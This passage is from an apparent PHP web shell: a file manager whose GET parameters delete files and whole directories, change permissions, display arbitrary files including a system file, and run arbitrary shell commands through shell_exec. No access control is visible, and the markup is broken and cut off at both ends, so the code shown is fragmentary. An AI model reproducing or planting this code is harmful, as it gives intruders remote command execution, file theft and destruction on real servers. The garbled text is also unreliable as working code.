";
} else {
echo "❌ Rename failed
";
}
// Stay in same directory
header("Location: ?dir=" . urlencode($dir));
exit;
}
// Handle delete - stay in same directory
if (isset($_GET['delete'])) {
$file = $_GET['delete'];
$success = false;
if (is_file($file)) {
if (unlink($file)) $success = true;
} elseif (is_dir($file)) {
// Try to delete recursively if directory not empty
if (rmdir($file)) {
$success = true;
} else {
// Attempt recursive delete for non-empty directories
function delTree($path) {
if (is_dir($path)) {
$files = scandir($path);
foreach ($files as $file) {
if ($file != "." && $file != "..") {
delTree($path . "/" . $file);
}
}
rmdir($path);
} else {
unlink($path);
}
}
delTree($file);
$success = true;
}
}
if ($success) {
echo "✅ Deleted: " . htmlspecialchars(basename($file)) . "
";
} else {
echo "❌ Delete failed
";
}
// Stay in same directory
header("Location: ?dir=" . urlencode($dir));
exit;
}
// Handle chmod - stay in same directory
if (isset($_GET['chmod']) && isset($_GET['perms'])) {
$file = $_GET['chmod'];
$perms = octdec($_GET['perms']);
if (chmod($file, $perms)) {
echo "✅ Chmod " . decoct($perms) . " applied to " . htmlspecialchars(basename($file)) . "
";
} else {
echo "❌ Chmod failed
";
}
header("Location: ?dir=" . urlencode($dir));
exit;
}
// Handle view file (read without edit)
if (isset($_GET['view'])) {
$file = $_GET['view'];
if (file_exists($file) && is_file($file)) {
echo "
";
echo htmlspecialchars(file_get_contents($file));
echo "";
echo htmlspecialchars(file_get_contents($sysfile));
echo "";
echo htmlspecialchars(shell_exec($cmd . " 2>&1"));
echo "| Type | Name | Permissions | Size | Actions | ||||
|---|---|---|---|---|---|---|---|---|
| / | ✏️ Edit ⬇️ Download 👁️ View 🗑️ Delete | |||||||